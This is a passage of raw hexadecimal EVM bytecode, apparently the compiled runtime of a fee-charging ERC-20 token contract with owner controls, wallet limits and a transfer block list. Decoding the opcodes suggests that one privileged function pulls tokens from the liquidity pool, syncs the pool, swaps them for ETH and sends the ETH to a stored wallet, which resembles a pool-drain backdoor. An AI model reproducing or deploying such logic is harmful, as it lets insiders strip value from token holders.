3c1565b604051610b879190614453565b60405180910390f35b348015610b9c57600080fd5b50610ba56123c7565b604051610bb29190614382565b60405180910390f35b348015610bc757600080fd5b50610bd0612482565b604051610bdd9190614453565b60405180910390f35b348015610bf257600080fd5b50610c0d6004803603810190610c08919061439d565b612488565b005b348015610c1b57600080fd5b50610c2461264e565b604051610c319190614453565b60405180910390f35b348015610c4657600080fd5b50610c4f612654565b604051610c5c9190614453565b60405180910390f35b606060038054610c74906146ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906146ea565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d0b610d046126b8565b84846126c0565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610d6b6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190614767565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb87160405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b60185481565b610ece6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490614767565b60405180910390fd5b670de0b6b3a76400006103e86001610f73610d59565b610f7d91906147b6565b610f879190614827565b610f919190614827565b811015610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906148ca565b60405180910390fd5b670de0b6b3a764000081610fe791906147b6565b60088190555050565b6000610ffd848484612889565b6110be846110096126b8565b6110b9856040518060600160405280602881526020016158da60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061106f6126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136049092919063ffffffff16565b6126c0565b600190509392505050565b60006012905090565b600061117b6110df6126b8565b8461117685600160006110f06126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b6126c0565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600b60009054906101000a900460ff1681565b6000601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112816126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790614767565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113db6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190614767565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b6114946126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90614767565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115d657600080fd5b60006116017f0000000000000000000000000000000000000000000000000000000000000000611231565b905060018311801561161e575060648161161b9190614827565b83105b61165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165490614936565b60405180910390fd5b61166683613668565b61166f84613734565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516116b790614987565b60006040518083038185875af1925050503d80600081146116f4576040519150601f19603f3d011682016040523d82523d6000602084013e6116f9565b606091505b50509050809250505092915050565b6117106126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461179f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179690614767565b60405180910390fd5b8260118190555081601281905550806013819055506013546012546011546117c7919061499c565b6117d1919061499c565b601081905550600a601054111561181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490614a1c565b60405180910390fd5b505050565b61182a6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614767565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601b81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61192a6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090614767565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546119e5906146ea565b80601f0160208091040260200160405190810160405280929190818152602001828054611a11906146ea565b8015611a5e5780601f10611a3357610100808354040283529160200191611a5e565b820191906000526020600020905b815481529060010190602001808311611a4157829003601f168201915b5050505050905090565b611a706126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af690614767565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8490614aae565b60405180910390fd5b611b978282613971565b5050565b60135481565b601a5481565b60175481565b6000611c70611bba6126b8565b84611c6b856040518060600160405280602581526020016159026025913960016000611be46126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136049092919063ffffffff16565b6126c0565b6001905092915050565b60115481565b6000611c94611c8d6126b8565b8484612889565b6001905092915050565b611ca66126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90614767565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611e306126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690614767565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f5c9190614382565b60405180910390a25050565b611f706126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690614767565b60405180910390fd5b826015819055508160168190555080601781905550601754601654601554612027919061499c565b612031919061499c565b60148190555060148054111561207c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207390614b1a565b60405180910390fd5b505050565b6120896126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210f90614767565b60405180910390fd5b670de0b6b3a76400006103e8600161212e610d59565b61213891906147b6565b6121429190614827565b61214c9190614827565b81101561218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614bac565b60405180910390fd5b670de0b6b3a7640000816121a291906147b6565b600a8190555050565b600f60009054906101000a900460ff1681565b60085481565b60006121ce6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461225d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225490614767565b60405180910390fd5b620186a0600161226b610d59565b61227591906147b6565b61227f9190614827565b8210156122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b890614c3e565b60405180910390fd5b6103e860056122ce610d59565b6122d891906147b6565b6122e29190614827565b821115612324576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231b90614cd0565b60405180910390fd5b8160098190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006123d16126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245790614767565b60405180910390fd5b6000600f60006101000a81548160ff0219169083151502179055506001905090565b60125481565b6124906126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461251f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251690614767565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361258e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258590614d62565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60165481565b600a5481565b6000808284612669919061499c565b9050838110156126ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a590614dce565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361272f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272690614e60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361279e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279590614ef2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161287c9190614453565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ef90614f84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295e90615016565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a0b5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a41906150a8565b60405180910390fd5b60008103612a6357612a5e83836000613a12565b6135ff565b600b60009054906101000a900460ff161561312757612a806118f8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612aee5750612abe6118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b275750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b61575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b7a5750600560149054906101000a900460ff16155b1561312657600b60019054906101000a900460ff16612c7457601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c345750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6a90615114565b60405180910390fd5b5b600f60009054906101000a900460ff1615612e3d57612c916118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d7057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e3c5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dee906151cc565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ee05750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8757600854811115612f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f219061525e565b60405180910390fd5b600a54612f3683611231565b82612f41919061499c565b1115612f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f79906152ca565b60405180910390fd5b613125565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561302a5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561307957600854811115613074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306b9061535c565b60405180910390fd5b613124565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312357600a546130d683611231565b826130e1919061499c565b1115613122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613119906152ca565b60405180910390fd5b5b5b5b5b5b600061313230611231565b9050600060095482101590508080156131575750600b60029054906101000a900460ff165b80156131705750600560149054906101000a900460ff16155b80156131c65750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561321c5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132725750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156132b6576001600560146101000a81548160ff02191690831515021790555061329a613ca5565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061336c5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337657600090505b600081156135ef57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133d957506000601454115b156134a65761340660646133f860145488613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506014546016548261341991906147b6565b6134239190614827565b60196000828254613434919061499c565b925050819055506014546017548261344c91906147b6565b6134569190614827565b601a6000828254613467919061499c565b925050819055506014546015548261347f91906147b6565b6134899190614827565b6018600082825461349a919061499c565b925050819055506135cb565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561350157506000601054115b156135ca5761352e606461352060105488613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506010546012548261354191906147b6565b61354b9190614827565b6019600082825461355c919061499c565b925050819055506010546013548261357491906147b6565b61357e9190614827565b601a600082825461358f919061499c565b92505081905550601054601154826135a791906147b6565b6135b19190614827565b601860008282546135c2919061499c565b925050819055505b5b60008111156135e0576135df873083613a12565b5b80856135ec919061537c565b94505b6135fa878787613a12565b505050505b505050565b600083831115829061364c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613643919061426c565b60405180910390fd5b506000838561365b919061537c565b9050809150509392505050565b6136b17f0000000000000000000000000000000000000000000000000000000000000000306136956110c9565b600a6136a191906154e3565b846136ac91906147b6565b612889565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561371957600080fd5b505af115801561372d573d6000803e3d6000fd5b5050505050565b6000600267ffffffffffffffff8111156137515761375061552e565b5b60405190808252806020026020018201604052801561377f5781602001602082028036833780820191505090505b50905030816000815181106137975761379661555d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561383c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061386091906155a1565b816001815181106138745761387361555d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138d9307f0000000000000000000000000000000000000000000000000000000000000000846126c0565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161393b9594939291906156c7565b600060405180830381600087803b15801561395557600080fd5b505af1158015613969573d6000803e3d6000fd5b505050505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a7890614f84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ae790615016565b60405180910390fd5b613afb838383614050565b613b66816040518060600160405280602681526020016158b4602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136049092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613bf9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c989190614453565b60405180910390a3505050565b6000613cb030611231565b90506000601a54601854601954613cc7919061499c565b613cd1919061499c565b9050600080831480613ce35750600082145b15613cf057505050613f8a565b6014600954613cff91906147b6565b831115613d18576014600954613d1591906147b6565b92505b600060028360195486613d2b91906147b6565b613d359190614827565b613d3f9190614827565b90506000613d56828661405590919063ffffffff16565b90506000479050613d6682613734565b6000613d7b824761405590919063ffffffff16565b90506000613da687613d9860185485613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506000613dd188613dc3601a5486613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506000818385613de2919061537c565b613dec919061537c565b9050600060198190555060006018819055506000601a81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613e4c90614987565b60006040518083038185875af1925050503d8060008114613e89576040519150601f19603f3d011682016040523d82523d6000602084013e613e8e565b606091505b505080985050600087118015613ea45750600081115b15613ef157613eb3878261409f565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601954604051613ee893929190615721565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613f3790614987565b60006040518083038185875af1925050503d8060008114613f74576040519150601f19603f3d011682016040523d82523d6000602084013e613f79565b606091505b505080985050505050505050505050505b565b6000808303613f9e5760009050614000565b60008284613fac91906147b6565b9050828482613fbb9190614827565b14613ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ff2906157ca565b60405180910390fd5b809150505b92915050565b600061404883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614179565b905092915050565b505050565b600061409783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613604565b905092915050565b6140ca307f0000000000000000000000000000000000000000000000000000000000000000846126c0565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161412f969594939291906157ea565b60606040518083038185885af115801561414d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906141729190615860565b5050505050565b600080831182906141c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141b7919061426c565b60405180910390fd5b50600083856141cf9190614827565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142165780820151818401526020810190506141fb565b60008484015250505050565b6000601f19601f8301169050919050565b600061423e826141dc565b61424881856141e7565b93506142588185602086016141f8565b61426181614222565b840191505092915050565b600060208201905081810360008301526142868184614233565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142be82614293565b9050919050565b6142ce816142b3565b81146142d957600080fd5b50565b6000813590506142eb816142c5565b92915050565b6000819050919050565b614304816142f1565b811461430f57600080fd5b50565b600081359050614321816142fb565b92915050565b6000806040838503121561433e5761433d61428e565b5b600061434c858286016142dc565b925050602061435d85828601614312565b9150509250929050565b60008115159050919050565b61437c81614367565b82525050565b60006020820190506143976000830184614373565b92915050565b6000602082840312156143b3576143b261428e565b5b60006143c1848285016142dc565b91505092915050565b6000819050919050565b60006143ef6143ea6143e584614293565b6143ca565b614293565b9050919050565b6000614401826143d4565b9050919050565b6000614413826143f6565b9050919050565b61442381614408565b82525050565b600060208201905061443e600083018461441a565b92915050565b61444d816142f1565b82525050565b60006020820190506144686000830184614444565b92915050565b6000602082840312156144845761448361428e565b5b600061449284828501614312565b91505092915050565b6000806000606084860312156144b4576144b361428e565b5b60006144c2868287016142dc565b93505060206144d3868287016142dc565b92505060406144e486828701614312565b9150509250925092565b600060ff82169050919050565b614504816144ee565b82525050565b600060208201905061451f60008301846144fb565b92915050565b61452e816142b3565b82525050565b60006020820190506145496000830184614525565b92915050565b61455881614367565b811461456357600080fd5b50565b6000813590506145758161454f565b92915050565b600080604083850312156145925761459161428e565b5b60006145a0858286016142dc565b92505060206145b185828601614566565b9150509250929050565b600080604083850312156145d2576145d161428e565b5b60006145e085828601614312565b92505060206145f185828601614312565b9150509250929050565b6000806000606084860312156146145761461361428e565b5b600061462286828701614312565b935050602061463386828701614312565b925050604061464486828701614312565b9150509250925092565b6000602082840312156146645761466361428e565b5b600061467284828501614566565b91505092915050565b600080604083850312156146925761469161428e565b5b60006146a0858286016142dc565b92505060206146b1858286016142dc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061470257607f821691505b602082108103614715576147146146bb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006147516020836141e7565b915061475c8261471b565b602082019050919050565b6000602082019050818103600083015261478081614744565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147c1826142f1565b91506147cc836142f1565b92508282026147da816142f1565b915082820484148315176147f1576147f0614787565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614832826142f1565b915061483d836142f1565b92508261484d5761484c6147f8565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006148b4602f836141e7565b91506148bf82614858565b604082019050919050565b600060208201905081810360008301526148e3816148a7565b9050919050565b7f616d6f756e742065786365656465640000000000000000000000000000000000600082015250565b6000614920600f836141e7565b915061492b826148ea565b602082019050919050565b6000602082019050818103600083015261494f81614913565b9050919050565b600081905092915050565b50565b6000614971600083614956565b915061497c82614961565b600082019050919050565b600061499282614964565b9150819050919050565b60006149a7826142f1565b91506149b2836142f1565b92508282019050808211156149ca576149c9614787565b5b92915050565b7f4d757374206b656570206665657320617420313025206f72206c657373000000600082015250565b6000614a06601d836141e7565b9150614a11826149d0565b602082019050919050565b60006020820190508181036000830152614a35816149f9565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614a986039836141e7565b9150614aa382614a3c565b604082019050919050565b60006020820190508181036000830152614ac781614a8b565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000614b04601d836141e7565b9150614b0f82614ace565b602082019050919050565b60006020820190508181036000830152614b3381614af7565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b966024836141e7565b9150614ba182614b3a565b604082019050919050565b60006020820190508181036000830152614bc581614b89565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c286035836141e7565b9150614c3382614bcc565b604082019050919050565b60006020820190508181036000830152614c5781614c1b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614cba6034836141e7565b9150614cc582614c5e565b604082019050919050565b60006020820190508181036000830152614ce981614cad565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d4c6026836141e7565b9150614d5782614cf0565b604082019050919050565b60006020820190508181036000830152614d7b81614d3f565b